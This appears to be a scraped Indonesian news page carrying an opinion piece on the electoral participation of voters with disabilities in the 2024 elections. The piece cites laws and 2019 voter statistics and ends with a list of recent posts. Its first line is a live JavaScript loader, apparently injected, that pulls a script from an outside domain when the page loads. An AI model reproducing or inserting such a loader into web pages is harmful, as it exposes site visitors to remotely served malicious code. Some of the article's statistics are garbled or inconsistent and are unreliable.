(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
OPINI

Mewujudkan Partisipasi Pemilih Penyandang Disabilitas pada Pemilu 2024


Oleh: Hervita Liana, Ketua PPUAD (Pusat Pemilihan Umum Akses Disabilitas) Kalimantan Selatan.

Pelaksanaan Pemilihan Umum (Pemilu) serentak 2024 merupakan salah satu instrumen demokrasi dalan rangka perwujudan pelaksanaan kedaulatan rakyat. Pada gelaran politik lima tahunan ini akan memilih Presiden dan Wakil Presiden, DPR, DPD, DPRD Provinsi dan DPRD Kabupaten/Kota secara langsung.

Tentu saja, hak politik penyandang Disabilitas tidak bisa dipungkiri. Bahwa mereka masih mengalami kesulitan dalam menggunakan hak pilihnya dalam pemilu. Padahal pasal 13 UU Nomor 8 Tahun 2016 Tentang penyandang disabilitas telah mengatur tentang hak politik untuk penyandang disabilitas, dimana salah satunya adalah memberikan hak dan kesempatan yang sama untuk dapat ikut berpartisipasi politik dalam Pemilu.

Partisipasi politik penyandang disabilitas tidak boleh hanya terbatas pada saat pemberian suara saja, tetapi para penyandang disabilitas juga dapat berperan aktif dalam kegiatan politik lainnya.

Baca juga: Resmi! KPU RI Tetapkan Jumlah Dapil di Banjarbaru Sama Seperti Pileg 2019

Saat pelaksanaan Pemilu, salah satu keterbatasan penyandang disabilitas adalah keterbatasan dalam mengakses pelayanan di ruang publik khususnya di Tempat Pemungutan Suara (TPS). Hak pilih bagi penyandang disabilitas telah diatur dalam pasal 350 ayat (2) UU Nomor 7 Tahun 2017 yang mengisyaratkan agar TPS ditentukan lokasinya di tempat yang mudah dijangkau termasuk oleh penyandang disabilitas. Termasuk tidak menggabungkan desa, dan memperhatikan aspek geografis, serta menjamin setiap pemilih dapat memberikan suara secara langsung, bebas dan rahasia.

Dalam pasal 356 ayat (1) disebutkan, pemilih disabilitas netra, disabilitas fisik, dan yang mempunyai halangan fisik lainnya pada saat memberikan suaranya di TPS dapat dibantu oleh orang lain atas permintaan pemilih. Orang lain yang membantu pemilih dalam memberikan suara wajib merahasiakan pilihannya.

Pada gelaran Pemilu sebelumnya, masih banyak pendirian TPS yang tidak aksesibel bagi mereka yang mengakibatkan kesulitan dalam menggunakan hak suaranya.

Pada Pemilu tahun 2019, Komisi Pemilihan Umum (KPU) RI mencatat jumlah pemilih penyandang disabilitas sebanyak 1.247.730 pemilih. Ada pun rincian soal pemilih disabilitas yaitu untuk pemilih tuna daksa sebanyak 83.182 pemilih, tuna netra sebanyak 166.364 pemilih, dan tuns rungu sebanyak 249.546 pemilih.

Kemudian untuk pemilih dari tuna grahita ada 332.7280 dan disabilitas yang masuk kategori lainnya sebagai 415.910 pemilih. Dan data pemilih disabilitas mencapai 1,2 juta jiwa. Untuk bisa mengakomodir hak politik dan partisipasi penyandang disabilitas dalam pemilu serentak 2024, perlu ada jaminan yang di antaranya:

  1. Melakukan sosialisasi dan pendidikan pemilih terhadap para penyandang disabilitas secara berkelanjutan.
  2. Menerima dan melibatkan penyandang disabilitas sebagai penyelenggaran Pemilu ad hoc. Dengan adanya terlibatan penyandang disabilitas sebagai penyelenggaran ad hoc tentunya akan menjadi strategi dan upaya untuk meningkatan partisipasi khususnya para penyandang disabilitas.
  3. Meningkatkan kesadaran terhadap penyelenggaran ada hoc untuk memberikan peran dalam keikutsertaan penyandang disabilitas untuk terlibat disemua tahapan penyelenggaran pemilu.
  4. Melibatkan penyandang disabilitas sebagai relawan Pemilu dan agen demokrasi di komunitasnya. Hal ini perlu dilakukan untuk dapat memberikab informasi-informasi kepemiluan serta tahapan-tahapan penyelenggaran pemilu khususnys bagi komunitas penyandang disabilitas.
  5. Melakukan imbauan kesadaran akan pentingnys partisipasi dan peran stockholder, masyarakat serta keluarga penyandang disabilitas untuk tidak merasa malu dan membantu para penyandang disabilitas dalam memberikan akses dan informasi berkaitan dengan Pemilu.
  6. Mengoptimalkan para penyandang disabilitas terdaftar dalam daftar pemilih. Selama ini dari KPU secara detail telah merinci masing-masing jenis disabilitas per kabupaten kota, kecamatan, keluruhan dan desa-desa dalam 5 kategori yaitu tuna daksa tuna netra, tuna rungu atau wicara dan tuna grahita dan disabilitas lainnya. Hal ini tentunya perlu ditingkatan pelayanan perdataan pemilih bagi penyandang disabilitas di lapangan.
  7. Tersedianya aksebilitas bagi penyandang disabilitas sarana dan prasarana untuk memastikan agar tidak terhadal masalah mobilitas gerak bagi penyandang disabilitas dalam menggunakan hak pilihnya.

Baca juga: Beda Pandang Dua LSM Pendemo Baramarta ke Pemkab Banjar 

Dalam penentukan TPS ini perlu untuk diperhatikan juga terkait akses dan kemudahan bagi penyandang disabilitas. Bagi penyandang disabilitas sebagai bagian dari warga negara Indonesia berhak terlibat aktif dalam berkehidupan politik.

Pemilih penyandang disabilitas menjadi bagian penting dalam mengukur sukses tidaknya pelaksanaan pemilu. Namun, pijakan regulasi selama ini rupanya tidak sejalan dengan aspek teknis pelaksanaannya, bahkan tidak sejalan dengan tingkat kesadaran para kontestan pemilu itu sendiri.

Dapat dikatakan bahwa kapasitas pengetahuan akan isu penyandang disabilitas, baik bagi para pelaksana, pengawas, maupun pesertanya masih jauh dari harapan. Semoga dalam masa persiapan menjelang Pemilu 2024,semua pihak dapat berkontribusi mencipatakan pemilu yang ramah terhadap pemilih penyandang disabilitas. (*)

 


Al Ghifari

Recent Posts

Yakin ‘Pemilik’ 13 Kursi Golkar, Acil Odah Lamar Nasdem Koalisi di Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More

2 jam ago

Musrenbang RPJPD 2025-2045, Bahas Rencana Program HSU 20 Tahun ke Depan

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More

2 jam ago

Sekda Banjar Wakili Bupati di Rapat Paripurna Bahas Raperda Tentang Penanaman Modal

KANALKALIMANTAN.COM, MARTAPURA - Rapat Paripurna beragendakan Jawaban Bupati atas Pemandangan Umum Fraksi-fraksi DPRD terhadap Rancangan… Read More

4 jam ago

Antisipasi Bencana, Ini Pesan Gubenur Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kesiapsiagaan Bencana dan antisipasi bencana di Kalimantan Selatan, Badan Penanggulangan… Read More

5 jam ago

Siap Tarung di Pilkada Kapuas, Mantan Wagub Kalteng Habib Ismail Lamar Nasdem

KANALKALIMANTAN.COM, KUALA KAPUAS - Mantan Wakil Gubernur Kalimantan Tengah Habib Ismail bin Yahya secara resmi… Read More

5 jam ago

Pj Bupati Kapuas Halalbihalal Bersama Ibu-ibu Pengajian

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi menghadiri acara halalbihalal gabungan pengajian… Read More

6 jam ago

This website uses cookies.